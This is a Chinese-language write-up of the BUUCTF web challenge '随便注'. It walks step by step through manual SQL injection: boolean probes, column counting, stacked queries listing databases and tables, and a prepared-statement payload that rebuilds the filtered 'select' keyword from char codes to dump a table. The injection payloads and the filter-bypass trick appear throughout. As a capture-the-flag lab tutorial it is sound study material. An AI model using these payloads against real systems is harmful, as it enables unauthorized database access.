BUUCTF web 随便注 sql注入 mysql预处理语句

BUUCTF web 随便注 sql注入 mysql预处理语句

开始的页面
BUUCTF web 随便注 sql注入 mysql预处理语句_第1张图片查询1
BUUCTF web 随便注 sql注入 mysql预处理语句_第2张图片
按照手工检测sql注入点步骤

1、判断注入点
1' or 1=1#
BUUCTF web 随便注 sql注入 mysql预处理语句_第3张图片1' or 1=2#
BUUCTF web 随便注 sql注入 mysql预处理语句_第4张图片
两次结果不一样,说明存在sql注入

2、判断有多少字段
1' order by 3#返回错误
BUUCTF web 随便注 sql注入 mysql预处理语句_第5张图片1' order by 2#正常,说明有2个字段
BUUCTF web 随便注 sql注入 mysql预处理语句_第6张图片
3、查询数据库
-1' union select 1,database()#
这里过滤了很多关键字,不能用select,update之类的关键字,
BUUCTF web 随便注 sql注入 mysql预处理语句_第7张图片
4、堆叠注入
在sql中,分号;是用来表示SQL语句的结束,而在分号后再写入一条语句就是堆叠注入,不同于union,union是合并一起执行的,而堆叠注入是分开执行的

①查询数据库
1';show databases;#
BUUCTF web 随便注 sql注入 mysql预处理语句_第8张图片
②查询表
1';show tables;#
BUUCTF web 随便注 sql注入 mysql预处理语句_第9张图片

5、mysql预处理语句
因为我们要查询表,需要用到select关键字,但是这里被过滤了,用sql预处理绕过
这里有解释MySQL的SQL预处理(Prepared)

当数字型字符作为字段、表、库名查询时,应该用反单引号括起来tab键上面的点``,这里因该把1919810931114514表用反单引号括起来

1';SET@sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

BUUCTF web 随便注 sql注入 mysql预处理语句_第10张图片

总结:
1、堆叠注入
2、当数字型字符作为字段、表、库名查 询时,应该用反单引号括起来
3、mysql预处理

你可能感兴趣的:(buuctf,web,安全,安全漏洞,web)